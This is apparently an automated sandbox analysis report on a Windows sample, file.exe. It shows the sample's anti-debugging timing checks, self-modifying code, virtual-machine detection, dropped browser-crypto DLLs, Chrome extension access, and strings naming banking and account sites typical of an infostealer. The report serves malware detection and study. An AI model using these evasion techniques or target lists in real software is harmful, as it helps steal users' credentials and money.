Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F6D5 second address: E0F6E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F9724523DCAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F6E5 second address: E0F6EF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9724BF79B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F6EF second address: E0F6FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F9724523DC6h 0x0000000a jne 00007F9724523DC6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F98F second address: E0F993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F993 second address: E0F9A6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9724523DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jbe 00007F9724523DC6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FB1B second address: E0FB20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10A5A second address: E10A6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007F9724523DC6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10A6A second address: E10A86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79C2h 0x00000007 jc 00007F9724BF79B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10A86 second address: E10AA1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F9724523DD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0EA00 second address: E0EA0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9724BF79B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13D95 second address: E13D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13D9A second address: E13DA3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17728 second address: E1772E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1772E second address: E17747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9724BF79B6h 0x0000000a jnc 00007F9724BF79B6h 0x00000010 popad 0x00000011 push edi 0x00000012 jns 00007F9724BF79B6h 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17747 second address: E17761 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9724523DD5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17761 second address: E17770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F9724BF79B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17770 second address: E17774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E178AA second address: E178C2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9724BF79B6h 0x00000008 js 00007F9724BF79B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jo 00007F9724BF79BEh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E178C2 second address: E178C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E178C8 second address: E178D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E178D0 second address: E178D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E178D4 second address: E178EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9724BF79BEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E178EF second address: E17911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F9724523DD9h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17911 second address: E17919 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17919 second address: E1792D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9724523DC8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F9724523DC6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1792D second address: E17931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E24774 second address: E24789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9724523DC6h 0x0000000a jmp 00007F9724523DCBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E24789 second address: E24799 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9724BF79BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28D80 second address: E28D9E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9724523DC6h 0x00000008 jnl 00007F9724523DC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007F9724523DC6h 0x00000018 jl 00007F9724523DC6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28D9E second address: E28DA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28DA4 second address: E28DAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F9724523DC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E287A1 second address: E287A9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28929 second address: E28937 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9724523DC8h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28937 second address: E2893D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36272 second address: E36285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9724523DCCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36285 second address: E362BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F9724BF79C7h 0x0000000b jno 00007F9724BF79B6h 0x00000011 jmp 00007F9724BF79C2h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39097 second address: E3909B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3FDB7 second address: E3FDBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3FF25 second address: E3FF2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E400BB second address: E400D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c popad 0x0000000d pushad 0x0000000e jl 00007F9724BF79BEh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4038D second address: E40391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40391 second address: E403AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9724BF79C1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E403AB second address: E403EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9724523DC6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push ecx 0x0000000e jmp 00007F9724523DD4h 0x00000013 pushad 0x00000014 jns 00007F9724523DC6h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c jmp 00007F9724523DD2h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40F6E second address: E40F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40F75 second address: E40F95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9724523DD8h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40F95 second address: E40FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44BDD second address: E44BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DBAF second address: E4DBD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F9724BF79BFh 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jne 00007F9724BF79B6h 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DBD3 second address: E4DBD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DBD8 second address: E4DBDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DBDE second address: E4DBE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DF34 second address: E5DF38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E619CB second address: E619D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E615B4 second address: E615BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7034E second address: E70352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70352 second address: E70365 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9724BF79BDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7055C second address: E7056B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9724523DCAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7056B second address: E70571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70571 second address: E7057B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70F8C second address: E70FA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79C6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71144 second address: E7114A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7114A second address: E71150 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71150 second address: E7115D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9724523DC8h 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7531F second address: E7532B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jno 00007F9724BF79B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76E31 second address: E76E4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9724523DD9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C02B5 second address: 54C02E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9724BF79C7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C02E5 second address: 54C0335 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9724523DCFh 0x00000008 mov dx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F9724523DD5h 0x00000014 xchg eax, ebp 0x00000015 jmp 00007F9724523DCEh 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007F9724523DCDh 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0335 second address: 54C033B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0540 second address: 54C055B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9724523DD7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C055B second address: 54C055F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BE3BEC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DAF51E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E193CD instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AD8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_009AD8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B39B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_009B39B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AE270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_009AE270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B43F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009B43F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009ABCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_009ABCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AF4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009AF4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A1710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009A1710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B4050 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_009B4050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B33C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_009B33C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AEB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_009AEB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009ADC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009ADC50

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009B7970 GetSystemInfo,wsprintfA,

0_2_009B7970

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: GDAAKKEH.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, file.exe, 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: GDAAKKEH.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: GDAAKKEH.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: GDAAKKEH.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: GDAAKKEH.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: GDAAKKEH.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.00000000014B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: GDAAKKEH.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: GDAAKKEH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: GDAAKKEH.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: GDAAKKEH.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: GDAAKKEH.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: GDAAKKEH.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: GDAAKKEH.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: GDAAKKEH.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: GDAAKKEH.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: GDAAKKEH.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: GDAAKKEH.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: GDAAKKEH.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: GDAAKKEH.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: GDAAKKEH.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: GDAAKKEH.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: GDAAKKEH.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: GDAAKKEH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: GDAAKKEH.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: GDAAKKEH.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWGy
Source: GDAAKKEH.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: GDAAKKEH.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
